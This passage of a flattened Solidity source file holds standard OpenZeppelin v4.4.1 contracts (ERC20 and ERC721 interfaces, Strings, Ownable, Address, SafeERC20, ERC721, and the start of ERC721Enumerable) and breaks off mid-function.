tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } pragma solidity ^0.8.0; abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = 